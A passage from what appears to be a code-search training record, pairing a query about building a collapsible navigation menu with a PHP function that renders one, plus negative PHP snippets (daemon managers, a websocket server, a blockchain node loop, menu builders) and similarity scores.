found\", \\Zend_Log::INFO);\n $this->_exit();\n }\n Logger::log(\"Found \" . count($this->_tasks->getManagers()) . \" daemon task managers\", \\Zend_Log::NOTICE);\n\n $this->getIpc()->setVar('processes', array());\n $managers = $this->_tasks->getManagers();\n foreach ($managers as $manager) {\n Logger::log(\"Starting manager: \" . $manager->getName(), \\Zend_Log::NOTICE);\n try {\n $this->_forkManager($manager);\n } catch (Exception $e) {\n echo $e->getMessage();\n Logger::log($e->getMessage(), \\Zend_Log::CRIT);\n $this->_exit();\n }\n }\n\n // Default sigHandler\n Logger::log(\"Setting default signal interrupt handler\", \\Zend_Log::DEBUG);\n $this->_sigHandler = new Interrupt\\Signal(\n 'Main Daemon',\n array(&$this, 'sigHandler')\n );\n\n // Write pids to shared memory\n $this->getIpc()->setVar('processes', $this->getPidManager()->getChilds());\n\n // Wait till all childs are done\n Logger::log(\"Waiting for childs to complete\", \\Zend_Log::NOTICE);\n while (pcntl_waitpid(0, $status) != -1) {\n $status = pcntl_wexitstatus($status);\n }\n Logger::log(\"Running done.\", \\Zend_Log::NOTICE);\n\n $this->getPidFile()->unlink();\n\n $this->_exit();\n }", "public function startListening();", "public function handle()\n {\n\t //创建server\n $server = new \\swoole_websocket_server(\"0.0.0.0\" , 9501);\n\n\t $server->on(\"open\" , function(Server $server , $request){\n//\t\t $this->info($request->fd . \"连接成功\");\n\t\t echo $request->fd . \"连接成功\";\n\t });\n\n\t $server->on(\"message\" , function(Server $server , $request){\n\t\t $msg = $request->data;\n\n\t\t foreach($server->connections as $fd){\n\t\t\t $server->push($fd , $msg);\n\t\t }\n\t });\n\n\t $server->on(\"close\" , function(Server $server , $request){\n//\t\t $this->info($request->fd . \"断开连接\");\n\t\t echo $request->fd . \"断开连接\";\n\t });\n\n\t $server->start();\n }", "public static function run()\n {\n // Suppose we have the filtered `$serverCollection` variable\n\n // Validating the servers the tasks should run on.\n // (Auth object, configurations etc)\n foreach ($serverCollection as $Server) {\n $Server->validate();\n }\n\n // running tasks on servers\n }", "public function run()\n {\n $this->consoleOutputService->writeln('Start fetching attachments...');\n\n try {\n $attachments = $this->fromClient->fetchAttachments($this->allowedMimeTypes);\n $this->notifier->notify('Notifying first user that '. count($attachments) .' of his attachments fetched');\n } catch (\\Exception $e) {\n dump($e->getMessage());\n exit;\n }\n\n $this->consoleOutputService->writeln('Start uploading files to storage...');\n\n try {\n /** @var Attachment $file */\n $storage = $this->toClient->getStorage();\n foreach ($attachments as $file) {\n $storage->uploadFile($file);\n }\n\n $this->notifier->notify(\n 'Notifying second user that he got ' . count($attachments) . ' new attachments in his storage'\n );\n\n } catch (\\Exception $e) {\n dump('Something when wrong while uploading attachments to storage');\n dump($e->getMessage());\n exit;\n }\n\n }", "public function loop() {\r\n\r\n if ($this->make_genesis)\r\n return;\r\n\r\n if (!$this->connected_to_bootstrap && !$this->bootstrap_node)\r\n return;\r\n\r\n $this->GetPendingTransactions();\r\n\r\n //If we do not build the genesis, we'll go around\r\n while (true) {\r\n //We establish the title of the process\r\n $this->SetTitleProcess();\r\n\r\n //Update MainThread time for subprocess\r\n Tools::writeFile(Tools::GetBaseDir().'tmp'.DIRECTORY_SEPARATOR.Subprocess::$FILE_MAIN_THREAD_CLOCK,time());\r\n\r\n //Get pending transactions\r\n $this->GetPendingTransactions();\r\n\r\n //Exec delayed loops\r\n $this->loop_x5();\r\n\r\n //If we are not synchronizing\r\n if (!$this->syncing) {\r\n\r\n //We send all transactions_pending_to_send to the network\r\n $this->sendPendingTransactionsToNetwork();\r\n\r\n //We check the difficulty\r\n if (!$this->isTestNet)\r\n Blockchain::checkDifficulty($this->chaindata,$this->difficulty);\r\n\r\n //We mine the block\r\n if ($this->enable_mine) {\r\n //Enable Miners if not enabled\r\n if (@!file_exists(Tools::GetBaseDir().'tmp'.DIRECTORY_SEPARATOR.Subprocess::$FILE_MINERS_STARTED)){\r\n Miner::MineNewBlock($this);\r\n\r\n //Wait 0.5s\r\n usleep(500000);\r\n }\r\n //Check if threads are enabled\r\n else {\r\n\r\n for($i=0;$i<MINER_MAX_SUBPROCESS;$i++){\r\n\r\n if (@file_exists(Tools::GetBaseDir().'tmp'.DIRECTORY_SEPARATOR.Subprocess::$FILE_NEW_BLOCK))\r\n break;\r\n\r\n if (@!file_exists(Tools::GetBaseDir().'tmp'.DIRECTORY_SEPARATOR.Subprocess::$FILE_MINERS_THREAD_CLOCK.\"_\".$i)) {\r\n Display::_printer(\"The miner thread #\".$i.\" do not seem to respond. Restarting Thread\");\r\n\r\n //Get info to pass miner\r\n $lastBlock = $this->chaindata->GetLastBlock();\r\n $directoryProcessFile = Tools::GetBaseDir().\"subprocess\".DIRECTORY_SEPARATOR;\r\n\r\n Subprocess::RestartMinerThread($lastBlock,$directoryProcessFile,$this->isTestNet,$this->difficulty,$i);\r\n\r\n //Wait 0.5s\r\n usleep(500000);\r\n } else {\r\n $timeMiner = @file_get_contents(Tools::GetBaseDir().'tmp'.DIRECTORY_SEPARATOR.Subprocess::$FILE_MINERS_THREAD_CLOCK.\"_\".$i);\r\n\r\n //Obtenemos la diferencia entre la creacion del bloque y la finalizacion del minado\r\n $minedTime = date_diff(\r\n date_create(date('Y-m-d H:i:s', intval($timeMiner))),\r\n date_create(date('Y-m-d H:i:s', time()))\r\n );\r\n $seconds = $minedTime->format('%s');\r\n if ($seconds >= MINER_TIMEOUT_CLOSE) {\r\n\r\n if (DISPLAY_DEBUG) {\r\n Display::_debug(\"MinerTimer : \" . intval($timeMiner));\r\n Display::_debug(\"CurrentTimer: \" . time());\r\n }\r\n\r\n Display::_printer(\"The miner thread #\".$i.\" do not seem to respond (Timeout \".$seconds.\"s). Restarting Thread\");\r\n\r\n //Get info to pass miner\r\n $lastBlock = $this->chaindata->GetLastBlock();\r\n $directoryProcessFile = Tools::GetBaseDir().\"subprocess\".DIRECTORY_SEPARATOR;\r\n\r\n Subprocess::RestartMinerThread($lastBlock,$directoryProcessFile,$this->isTestNet,$this->difficulty,$i);\r\n\r\n //Wait 0.5s\r\n usleep(500000);\r\n\r\n }\r\n }\r\n }\r\n }\r\n\r\n //If found new block\r\n if (@file_exists(Tools::GetBaseDir().'tmp'.DIRECTORY_SEPARATOR.Subprocess::$FILE_NEW_BLOCK)) {\r\n $blockMined = Tools::objectToObject(@unserialize(@file_get_contents(Tools::GetBaseDir().'tmp'.DIRECTORY_SEPARATOR.Subprocess::$FILE_NEW_BLOCK)),'Block');\r\n\r\n if ($blockMined->isValid()) {\r\n Display::NewBlockMined($blockMined);\r\n Tools::sendBlockMinedToNetworkWithSubprocess($this->chaindata,$blockMined,true);\r\n } else {\r\n Display::_printer(\"Block mined not valid\");\r\n }\r\n //Stop minning subprocess\r\n Tools::clearTmpFolder();\r\n Tools::writeFile(Tools::GetBaseDir().'tmp'.DIRECTORY_SEPARATOR.Subprocess::$FILE_STOP_MINING);\r\n\r\n //Wait 2-2.5s\r\n usleep(rand(2000000,2500000));\r\n }\r\n }\r\n\r\n //We check if there are new blocks to be added and that they are next to the last block of the blockchain\r\n $last_hash_block = $this->chaindata->GetLastBlock()['block_hash'];\r\n $this->CheckIfPeersHaveMinedBlock($last_hash_block);\r\n }\r\n\r\n //If we are synchronizing and we are connected with the bootstrap\r\n else if ($this->syncing) {\r\n\r\n //We get the last block from the BootstrapNode\r\n $lastBlock_BootstrapNode = BootstrapNode::GetLastBlockNum($this->chaindata,$this->isTestNet);\r\n $lastBlock_LocalNode = $this->chaindata->GetNextBlockNum();\r\n\r\n if ($lastBlock_LocalNode < $lastBlock_BootstrapNode) {\r\n $nextBlocksToSyncFromPeer = BootstrapNode::SyncNextBlocksFrom($this->chaindata, $lastBlock_LocalNode,$this->isTestNet);\r\n Peer::SyncBlocks($this,$nextBlocksToSyncFromPeer,$lastBlock_LocalNode,$lastBlock_BootstrapNode);\r\n } else {\r\n $this->syncing = false;\r\n\r\n //We synchronize the information of the blockchain\r\n $this->difficulty = $this->chaindata->GetLastBlock()['difficulty'];\r\n\r\n //We check the difficulty\r\n if (!$this->isTestNet)\r\n Blockchain::checkDifficulty($this->chaindata,$this->difficulty);\r\n\r\n //We clean the table of blocks mined by the peers\r\n $this->chaindata->truncate(\"mined_blocks_by_peers\");\r\n $this->chaindata->truncate(\"transactions_pending\");\r\n }\r\n\r\n continue;\r\n }\r\n\r\n\r\n //We get the last block from the BootstrapNode and compare it with our local\r\n $bootstrapNode_lastBlock = ($this->bootstrap_node == true) ? $this->chaindata->GetNextBlockNum():BootstrapNode::GetLastBlockNum($this->chaindata,$this->isTestNet);\r\n $local_lastBlock = $this->chaindata->GetNextBlockNum();\r\n\r\n if ($local_lastBlock < $bootstrapNode_lastBlock) {\r\n\r\n if ($this->enable_mine && @file_exists(Tools::GetBaseDir().'tmp'.DIRECTORY_SEPARATOR.Subprocess::$FILE_MINERS_STARTED)) {\r\n //Stop minning subprocess\r\n Tools::clearTmpFolder();\r\n Tools::writeFile(Tools::GetBaseDir().'tmp'.DIRECTORY_SEPARATOR.Subprocess::$FILE_STOP_MINING);\r\n Display::_printer(\"%Y%Miner work cancelled%W% Imported new headers\");\r\n }\r\n\r\n $this->syncing = true;\r\n continue;\r\n }\r\n\r\n $this->loop_x10();\r\n\r\n usleep(1000000);\r\n }\r\n }" ]
[ "0.7016053", "0.69488436", "0.69133306", "0.67089456", "0.6646561", "0.63550645", "0.61900896", "0.6105044", "0.6089636", "0.6083241", "0.594207", "0.5900055", "0.57835525", "0.5762794", "0.5738868", "0.56662667", "0.5645363", "0.5559845", "0.550113", "0.5467251", "0.5466518", "0.54644877", "0.5443199", "0.5416026", "0.53888947", "0.5383081", "0.5351932", "0.5341841", "0.5308041", "0.52664095", "0.5249226", "0.5228883", "0.5218714", "0.5209951", "0.5169201", "0.5163269", "0.5162103", "0.51506495", "0.51284415", "0.5115266", "0.50897634", "0.50464827", "0.50426984", "0.502137", "0.50190544", "0.5006538", "0.49922338", "0.49889457", "0.49838972", "0.49675533", "0.49234915", "0.491054", "0.48869336", "0.48591834", "0.4857091", "0.48501864", "0.4849774", "0.48481557", "0.48481458", "0.4844854", "0.48295653", "0.48162782", "0.48009688", "0.48003376", "0.47873563", "0.47801527", "0.4772651", "0.47556433", "0.47524107", "0.47401074", "0.47341034", "0.4733258", "0.47140527", "0.47117466", "0.46949238", "0.46882257", "0.46808696", "0.46783602", "0.46646833", "0.466459", "0.46600887", "0.4645884", "0.46395788", "0.46346653", "0.46295276", "0.45989946", "0.4591143", "0.45823154", "0.45694658", "0.4563683", "0.4563506", "0.45601118", "0.4554107", "0.45321888", "0.45296022", "0.45271075", "0.45182863", "0.45134056", "0.45126772", "0.45120648" ]
0.7146619
0
Prevents instantiation of this static class.
final private function __construct() {}
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function __construct()\r\n {\r\n // Prevent direct instantiation\r\n }", "final public function __construct()\n\t{\n\t\tthrow new \\LogicException('Static class cannot be instantiated.');\n\t}", "final public function __construct() { throw new WeeboException(\"Cannot instantiate static class!\"); }", "final public function __construct()\n\t{\n\t\tthrow new /*::*/LogicException(\"Cannot instantiate static class \" . get_class($this));\n\t}", "final public function __construct()\r\n\t{\r\n\t\tthrow new \\LogicException(\"Cannot instantiate static class \".get_class($this));\r\n\t}", "final public function __construct()\n\t{\n\t\tthrow new StaticClassException;\n\t}", "final public function __construct()\n {\n throw new \\LogicException(\"Cannot instantiate static class \" . get_class($this));\n }", "final public function __construct()\n\t{\n\t\tthrow new Kdyby\\StaticClassException;\n\t}", "final public function __construct()\r\n\t{\r\n\t\tthrow new Nette\\StaticClassException;\r\n\t}", "final public function __construct()\n\t{\n\t\tthrow new LogicException(\"Cannot instantiate static class \" . get_class($this));\n\t}", "final public function __construct()\n\t{\n\t\tthrow new LogicException('Cannot instantiate static class ' . get_class($this));\n\t}", "final public function __construct()\n\t{\n\t\tthrow new Nette\\StaticClassException;\n\t}", "private function __construct()\t// Private to prevent object being instantiated outside class\r\n {\r\n // Do nothing\r\n }", "public function __construct()\n {\n // By default exclude annoying files\n self::exclusive();\n }", "private function __construct()\n {\n // disabled method\n }", "public static function __constructStatic() : void;", "protected function __construct() {\n // Do nothing.\n }", "private function __construct() { /* Do nothing here */ }", "private function __construct() { /* Do nothing here */ }", "function __construct() {\n trigger_error('Mock factory methods are static.');\n }", "final private function __construct()\r\n\t{\r\n\t\treturn false;\r\n\t}", "private function __construct()\n {\n // Do nothing\n }", "protected function __clone() {\n trigger_error('Cannot clone instance of Singleton pattern ...', E_USER_ERROR);\n }", "public final function __clone() {\n \n trigger_error('Clone is not allowed for '.get_class($this).' (Singleton)', E_USER_ERROR);\n \n }", "public final function __clone() {\n \n trigger_error('Clone is not allowed for '.get_class($this).' (Singleton)', E_USER_ERROR);\n \n }", "public static function __once() {\n\t\ttry {\n\t\t\tself::$environment = \\Glue\\Component\\Environment::getInstance();\n\t\t\tself::$url = \\Glue\\Component\\Url::getInstance();\n\t\t} catch(\\Exception $exception) {\n\t\t\tthrow new \\RuntimeException(\\Glue\\Helper\\General::replace(array('class' => __CLASS__), GLUE_EXCEPTION_CLASS_INITIALIZE), NULL, $exception);\n\t\t}\n\t}", "public function __construct()\n {\n throw new \\Exception('The Profiler class is a static class. Do not instantiate it, access all member methods statically.');\n }", "public function __construct()\n {\n throw new Exception('This class is not intended to be instantiated.');\n }", "public function __construct() {\n\t\tif ( self::$_instance ) {\n\t\t\t_doing_it_wrong( __FUNCTION__, 'Cheatin&#8217; huh?', '2.0' );\n\t\t}\n\t}", "public function __construct()\n\t{\n\t\tparent::__construct('Forbiddden request.');\n\t}", "function __construct() {\n\t\t\t\n\t\t\t/* Do nothing here */\n\t\t\t\n\t\t}", "protected function __clone()\n {\n //no possibility for cloning of singleton class\n }", "private function assert_not_instantiated(): void\n\t{\n\t\tif (self::$instance)\n\t\t{\n\t\t\tthrow new ApplicationAlreadyInstantiated;\n\t\t}\n\t}", "public function __clone()\n\t{\n\t\tthrow new Exception(\"You are not permitted to clone this singleton object.\");\n\t}", "final private function __construct() { }", "final private function __construct() { }", "final private function __construct() { }", "static function denied()\n {\n\n }", "private function __construct()\n {\n return false;\n }", "public function __construct(){\n throw new Exception(\"Cannot instantiate this class. Please use the static methods validateLogin() and logout() instead.\");\n }", "private function __construct()\r\n\t\t{\r\n\r\n\t\t\t/* Do Nothing */\r\n\r\n\t\t}", "function __construct()\r\n {\r\n //NOP\r\n }", "public static function ignoreRoutes()\n {\n static::$registersRoutes = false;\n return new static;\n }", "public static function disable(): void\n {\n static::$_enabled = false;\n }", "public static function staticConstructor() {\n static::$loggingUtils = new LoggingUtils();\n }", "protected function initialize() {\n // NOOP\n }", "protected final function __construct() {}", "protected static function protectedStaticMethodWithNoArguments()\n {\n return 'protected:static:no-arguments';\n }", "static function allowed()\n {\n\n }", "public function __clone()\n {\n throw new LogicException('This Singleton cannot be cloned');\n }", "private final function __construct() {}", "public function __wakeup() {\n\t\tthrow new \\Exception( 'Cannot serialize singleton' );\n\t}", "public static function inst()\n {\n return new static();\n }", "private function __construct()\n {\n throw new RuntimeException(\"Can't get there from here\");\n }", "public static function disable()\n {\n self::$_enabled = FALSE;\n }", "private function __construct() { // singleton\n }", "public static function initialization()\n {\n return new static();\n }", "function __constructor(){}", "public function __wakeup()\n {\n throw new LogicException('This Singleton cannot be serialised');\n }", "private function __construct()\n {\n // nothing to do here\n }", "final private function __construct()\n {\n }", "final private function __construct()\n {\n }", "public function __clone() {\n throw new Exception('You tried to clone a singleton object');\n }", "private static function privateStaticMethodWithNoArguments()\n {\n return 'private:static:no-arguments';\n }", "public static function make () {\n return new static;\n }", "final private function __construct(){\r\r\n\t}", "final private function __construct() {\n\t\t\t}", "public function __wakeup()\n {\n throw new \\Exception(\"Cannot unserialize a singleton.\");\n }", "public function __construct() {\r\n die('Init function is not allowed');\r\n }", "private function __() {\n }", "public function __clone(){\n throw new Zend_Exception('Cloning singleton objects is forbidden');\n }", "public static function make()\n {\n return new static;\n }", "public static function make()\n {\n return new static;\n }", "public function __construct()\n {\n // do nothing\n }", "final public function __construct()\n {\n throw new \\LogicException();\n }", "public function __construct() {\n\t\tif (!is_admin()) {\n\t\t\t// stop Jetpack tags\n\t\t\tif (class_exists ( 'JetPack' )) {\n\t\t\t\tadd_filter ( 'jetpack_enable_opengraph', '__return_false', 99 );\n\t\t\t\tadd_filter ( 'jetpack_enable_open_graph', '__return_false', 99 );\n\t\t\t}\n\t\t\t\n\t\t\t// try to stop Yoast SEO from generating double tags\n\t\t\tif (defined('WPSEO_VERSION')) {\n\t\t\t\tglobal $wpseo_og;\n\t\t\t\tif (isset($wpseo_og)) {\n\t\t\t\t\tremove_action( 'wpseo_head', array( $wpseo_og, 'opengraph' ), 30 );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "final private function __construct()\n {\n }", "public function __wakeup()\r\n {\r\n throw new \\Exception(\"Cannot unserialize a singleton.\");\r\n }", "public function __construct()\n {\n Cache::forget('laralum_permissions');\n }", "public static function private(): self {\n return new self(self::PRIVATE);\n }", "public function init()\n {\n // Do nothing\n }", "public function __wakeup()\n {\n throw new \\Exception(\"Cannot unserialize singleton\");\n }", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}" ]
[ "0.7332884", "0.70220786", "0.69938666", "0.6880627", "0.6863365", "0.6857586", "0.6831705", "0.6754727", "0.67092794", "0.6687075", "0.66717225", "0.666733", "0.65733314", "0.6405985", "0.634067", "0.62562174", "0.6191577", "0.6189758", "0.6189758", "0.61863416", "0.6078157", "0.6053361", "0.60356236", "0.59537005", "0.59537005", "0.59411013", "0.5933415", "0.5894925", "0.58794063", "0.5862711", "0.5862435", "0.58336973", "0.58245426", "0.58091843", "0.5800176", "0.5800176", "0.5800176", "0.57670933", "0.5757045", "0.57507175", "0.5746923", "0.5745562", "0.5736574", "0.5730204", "0.57159704", "0.57038784", "0.56694734", "0.5635408", "0.56204367", "0.5614303", "0.56024617", "0.55877215", "0.5580437", "0.5578051", "0.55508834", "0.55471444", "0.55443454", "0.5539321", "0.55316496", "0.55284303", "0.55120677", "0.55120677", "0.5505492", "0.54966575", "0.5496154", "0.5484371", "0.54824764", "0.5472958", "0.5460606", "0.5457072", "0.5455464", "0.5453758", "0.5453758", "0.5452461", "0.5452383", "0.5437831", "0.5430833", "0.5417215", "0.5399157", "0.5392751", "0.5390615", "0.53896797", "0.5388536", "0.5388536", "0.53884536", "0.53884536", "0.53884536", "0.53884536", "0.53884536", "0.53884536", "0.53884536", "0.53884536", "0.53884536", "0.53884536", "0.53884536", "0.53884536", "0.53884536", "0.53884536", "0.53884536" ]
0.5918386
28
create a collapsible menue by iterating throug items
function createCollapsibleMenue($items,$current,$key){ unset($items[$key ]); ?> <!-- Schreibe aktuellen Eintrag in collapsible Header --> <?php if ($current['collapsible']) { $collapsible = '<i class="material-icons right">keyboard_arrow_down</i>'; $link = ''; } else { $collapsible = ""; if($current['popup'] == 1) { $link = "href=\"#\" onClick=\"MM_openBrWindow('?type=".$current['type']."','','width=800,height=900,screenX=200,resizable=yes')\""; } else { $link = 'href="?type='.$current['type'].'"'; } } ?> <li> <div class="collapsible-header"> <a class="mdl-navigation__link orange-text btn-flat" <?php echo $link; ?> > <i class="material-icons left"><?php echo $current['icon']; ?></i> <?php echo $current['value']; ?> <?php echo $collapsible; ?> </a> </div> <!-- Prüfe ob zu diesem Einbtrag ein Submenue existiert --> <?php if ($current['collapsible']) { ?> <div class="collapsible-body" > <ul class="collapsible" data-collapsible="expandable"> <?php foreach ($items as $key => $value) { if ($value['navarea'] == $current['id']) { createCollapsibleMenue($items,$value,$key); } } ?> </ul> </div> <?php } ?> </li> <?php }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function build () {\n foreach ( $this->items as $item ) {\n if ( $item->id() == $this->current->id() ) {\n $this->menu[]=$item;\n $this->appendChildren();\n } else if ( $item->parent_id() == $this->current->parent_id() ) {\n $this->menu[]=$item;\n }\n }\n reset ( $this->menu );\n }", "function build () {\n foreach ( $this->items as $item ) {\n if ( $item->isRoot() ) {\n $this->menu[]=$item;\n $this->appendChildren($item);\n }\n }\n reset ( $this->menu );\n }", "protected function generateMenu() {}", "protected function generateMenu() {}", "protected function generateMenu() {}", "protected function generateMenu() {}", "protected function generateMenu() {}", "protected function generateMenu() {}", "function generarMenu(ResultSet $rs) {\n $padres=obtenerPrimerNivel($rs);\n $contPadres=count($padres);\n $menu=\"\";\n for($i=0;$i<$contPadres;$i++) {\n $elemento=$padres[$i];\n $id=$elemento[\"IdMenu\"];\n $hijos=obtenerHijos($rs, $id);\n\n $menu.=\"<li class=\\\"\\\" >\";\n\n $menu.='<a href=\"'.$elemento[\"URL\"].'\" >';\n $menu.=\"<i class=\\\"fa fa-\".$elemento[\"NombreImagen\"].\"\\\"></i>&nbsp; \";\n $menu.='<span class=\"link-title\">'.$elemento[\"Titulo\"].'</span>';\n if(count($hijos)>0){\n $menu.='<span class=\"fa arrow\"></span>';\n }\n $menu.='</a>';\n\n if(count($hijos)>0) {\n $menu.=\"<ul class='collapse' >\n \";\n $menu.=imprimirHijos($hijos, 2,$rs);\n $menu.=\"\n </ul>\";\n }\n $menu.='</li>\n ';\n }\n return $menu;\n}", "public function run()\n {\n $aboutUs = App\\MenuItem::create([\n 'title' => 'About us',\n 'url' => '#',\n 'menu_id' => 1,\n ]);\n\n App\\MenuItem::create([\n 'title' => 'About us #1',\n 'url' => '#',\n 'parent_id' => $aboutUs->id,\n 'menu_id' => 1,\n ]);\n\n App\\MenuItem::create([\n 'title' => 'About us #2',\n 'url' => '#',\n 'parent_id' => $aboutUs->id,\n 'menu_id' => 1,\n ]);\n\n App\\MenuItem::create([\n 'title' => 'About us #3',\n 'url' => '#',\n 'parent_id' => $aboutUs->id,\n 'menu_id' => 1,\n ]);\n\n $services = App\\MenuItem::create([\n 'title' => 'Our Services',\n 'url' => '#',\n 'menu_id' => 1,\n ]);\n\n App\\MenuItem::create([\n 'title' => 'Services #1',\n 'url' => '#',\n 'menu_id' => 1,\n 'parent_id' => $services->id\n ]);\n\n App\\MenuItem::create([\n 'title' => 'Services #2',\n 'url' => '#',\n 'menu_id' => 1,\n 'parent_id' => $services->id\n ]);\n\n App\\MenuItem::create([\n 'title' => 'Services #3',\n 'url' => '#',\n 'parent_id' => 16,\n 'menu_id' => 1,\n 'parent_id' => $services->id\n ]);\n }", "function appendChildren () {\n $this->menu[]=new Marker('start');\n foreach ( $this->items as $item ) {\n if ( $item->parent_id() == $this->current->id() ) {\n $this->menu[]=$item;\n }\n }\n $check=end($this->menu);\n if ( $check->isStart() )\n array_pop($this->menu);\n else\n $this->menu[]=new Marker('end');\n }", "public function collapsable()\n {\n $this->id = Util::randomString();\n\n $this->rightTools()->append(\n \"<a id='collapse-{$this->id}' data-toggle=\\\"collapse\\\" href=\\\"#{$this->id}\\\"><i class=\\\"zmdi zmdi-minus\\\"></i></a>\"\n );\n\n return $this;\n }", "function makeNav ($sheetName, $pages, $sheet) {\n if (isset($sheet)) {\n echo '<div class=\"panel panel-default\">';\n echo '<div class=\"panel-heading\" role=\"tab\" id=\"'.clean($sheetName).'\">';\n echo '<h4 class=\"panel-title\">';\n echo '<a ';\n if (clean($sheetName) != $sheet) {\n echo 'class=\"collapsed\" ';\n }\n echo 'role=\"button\" data-toggle=\"collapse\" data-parent=\"#'.$section.'Nav\" href=\"#collapse-'.clean($sheetName).'\" aria-expanded=\"';\n if (clean($sheetName) != $sheet) {\n echo 'false';\n } else {\n echo 'true';\n }\n echo '\" aria-controls=\"collapse-'.clean($sheetName).'\">'.$sheetName.'</a>';\n echo '</h4>';\n echo '</div>';\n echo '<div id=\"collapse-'.clean($sheetName).'\" class=\"panel-collapse collapse';\n if (clean($sheetName) == $sheet) {\n echo ' in';\n }\n echo '\" role=\"tabpanel\" aria-labelledby=\"'.clean($sheetName).'\">';\n echo '<ul class=\"list-group\">';\n foreach ($pages as $pageName => $data) {\n if (!isset($data['show']) || $data['show'] < mktime()) {\n echo '<li class=\"list-group-item\">';\n echo '<a href=\"'.$data['link'].'\">'.formatText($pageName,0).'</a>';\n echo '</li>';\n }\n }\n echo '</ul>';\n echo '</div>';\n echo '</div>';\n } else {\n echo '<div class=\"row\">';\n echo '<div class=\"col-xs-12\">';\n echo '<h2>'.$sheetName.'</h2>';\n echo '</div>';\n foreach ($pages as $title => $page) {\n if (!isset($page['show']) || $page['show'] < mktime()) {\n echo '<div class=\"col-xs-6\">';\n echo '<a href=\"'.$page['link'].'\">';\n echo '<p>'.formatText($title,0).'</p>';\n echo '</a>';\n echo '</div>';\n }\n }\n echo '</div>';\n }\n}", "protected function renderItems($items)\n {\n $n=count($items);\n $lines=[];\n foreach($items as $i => $item)\n {\n $options=array_merge($this->itemOptions, ArrayHelper::getValue($item, 'options', []));\n $tag=ArrayHelper::remove($options, 'tag', 'li');\n $class=[];\n $this->getItemClasses($item,$class,$i,$n);\n $this->getClassOptions($class,$options);\n $menu=$this->renderItem($item);\n\n if(!empty($item['items']))\n {\n $menu.=strtr($this->submenuTemplate, [\n '{show}' => $item['active'] ? \"style='display: block'\" : \"style='display: none'\",\n '{items}' => $this->renderItems($item['items']),\n ]);\n }\n $lines[]=Html::tag($tag, $menu, $options);\n }\n\n if(Yii::$app->sys->discord_invite_url!==false)\n $lines[]='<li class=\"nav-item\"><b>'.Html::a('<i class=\"fab fa-discord text-discord\"></i><p class=\"text-discord\">Join our Discord!</p>', Yii::$app->sys->discord_invite_url, ['target'=>'_blank','class'=>'nav-link']).'</b></li>';\n if(Yii::$app->sys->patreon_menu===false)\n {\n $lines[]='<li><hr/></li>';\n $lines[]='<li class=\"nav-item\"><b>'.Html::a('<i class=\"fab fa-patreon text-danger\"></i><p class=\"text-danger\">Become a Patron!</p>', 'https://www.patreon.com/bePatron?u=31165836', ['target'=>'_blank','class'=>'nav-link']).'</b></li>';\n }\n\n return implode(\"\\n\", $lines);\n }", "public static function run()\n {\n $Menus = [\n ['id' => '1' , 'name' => 'ManagementTools' ,'status' => 1 , 'menu_id' => 1, 'icon' => 'fa-cog'],\n ['id' => '2' , 'name' => 'Application' ,'status' => 1 , 'menu_id' => 2, 'icon' => 'fa-suitcase'],\n ['id' => '3' , 'name' => 'ManageUsers' ,'status' => 1 , 'menu_id' => 1, 'url' => 'users', 'icon' => 'fa-user'],\n ['id' => '4' , 'name' => 'ManagePermission' ,'status' => 1 , 'menu_id' => 1, 'url' => 'permissions', 'icon' => 'fa-wrench'],\n ['id' => '5' , 'name' => 'ManageRoles' ,'status' => 1 , 'menu_id' => 1, 'url' => 'roles', 'icon' => 'fa-lock'],\n ['id' => '6' , 'name' => 'ManageMenu' ,'status' => 1 , 'menu_id' => 1, 'url' => 'menus', 'icon' => 'fa-th-list'],\n ['id' => '7' , 'name' => 'Master' ,'status' => 1 , 'menu_id' => 2],\n ['id' => '8' , 'name' => 'ClientMenu' ,'status' => 1 , 'menu_id' => 2],\n ['id' => '9' , 'name' => 'Inspection' ,'status' => 1 , 'menu_id' => 2],\n ['id' => '10' , 'name' => 'Profession' ,'status' => 1 , 'menu_id' => 7 , 'url' => 'professions'],\n ['id' => '11' , 'name' => 'InspectorType' ,'status' => 1 , 'menu_id' => 7 , 'url' => 'inspectortypes'],\n ['id' => '12' , 'name' => 'InspectionType' ,'status' => 1 , 'menu_id' => 7 , 'url' => 'inspectiontypes'],\n ['id' => '13' , 'name' => 'InspectionSubtype' ,'status' => 1 , 'menu_id' => 7 , 'url' => 'inspectionsubtypes'],\n ['id' => '14' , 'name' => 'Client' ,'status' => 1 , 'menu_id' => 8 , 'url' => 'clients'],\n ['id' => '15' , 'name' => 'Headquarters' ,'status' => 1 , 'menu_id' => 8 , 'url' => 'headquarters'],\n ['id' => '16' , 'name' => 'Company' ,'status' => 1 , 'menu_id' => 8 , 'url' => 'companies'],\n ['id' => '17' , 'name' => 'Contract' ,'status' => 1 , 'menu_id' => 8 , 'url' => 'contracts'],\n ['id' => '18' , 'name' => 'Inspector' ,'status' => 1 , 'menu_id' => 9 , 'url' => 'inspectors'],\n ['id' => '19' , 'name' => 'InspectorAgenda' ,'status' => 1 , 'menu_id' => 9 , 'url' => 'inspectoragendas'],\n ['id' => '20' , 'name' => 'Inspectionappointment' ,'status' => 1 , 'menu_id' => 9 , 'url' => 'inspectionappointments'],\n ['id' => '21' , 'name' => 'Format' ,'status' => 1 , 'menu_id' => 9 , 'url' => 'formats'],\n ['id' => '22' , 'name' => 'Preformato' ,'status' => 1 , 'menu_id' => 7, 'url' => 'preformatos'],\n\n ];\n\n\t\tforeach ($Menus as $Menu) {\n\t\t\tMenu::create($Menu);\n\t\t}\n }", "public function menustoreAction() {\n $panel_pages = array();\n $menut = Model_Menu::getInstance();\n $panel_names = $menut->panels();\n $pages = array();\n // at this point have selected all the menus of all active modules\n // return a tree of pages from each top level page sorted by sort_by and label\n foreach($panel_names as $panel):\n $panel_data = array('id' => $panel, 'label' => ucwords(str_replace('_', ' ', $panel)),\n 'children' => array());\n foreach($menut->find(array('panel' => $panel, 'parent' => 0), 'sort_by') as $menu):\n $panel_data['children'][] = $menu->pages_tree();\n endforeach;\n $pages[] = $panel_data;\n endforeach;\n $this->view->data = new Zend_Dojo_Data('id', $pages, 'label');\n $this->_helper->layout->disableLayout();\n }", "function content_nav() {\n\t\t$current_individual_nav_items = 